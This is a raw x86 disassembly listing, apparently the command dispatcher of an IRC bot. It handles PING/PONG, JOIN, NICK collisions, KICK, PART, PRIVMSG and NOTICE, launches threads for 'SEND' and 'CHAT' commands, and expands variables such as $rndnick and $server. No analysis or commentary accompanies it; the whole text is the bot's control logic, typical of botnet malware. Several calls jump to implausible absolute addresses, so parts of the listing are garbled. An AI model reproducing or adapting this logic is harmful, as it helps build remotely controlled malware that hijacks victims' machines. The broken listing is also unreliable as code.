var_D80 = dword ptr -0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42CA68 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42CA64 ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42CA60 ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42C9F4 push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42C9A0 loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C97C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42C968 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42C960 mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42C924 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BC push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h nop call near ptr 2660D05h jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42C920 push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42C914 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CAE58 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42C8F8 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42C8F0 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42C8D8 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j call near ptr 267064Ch nop push eax push offset unk_42C89C jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42C858 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C830 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset byte_415C59 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h call near ptr 2660D05h nop jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj nop call near ptr 267064Ch push eax push offset unk_42C7F8 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42C7C8 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42C794 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42C968 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_42923C, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D160 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42923C jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42CA68 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D178[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D160[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42C750 ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 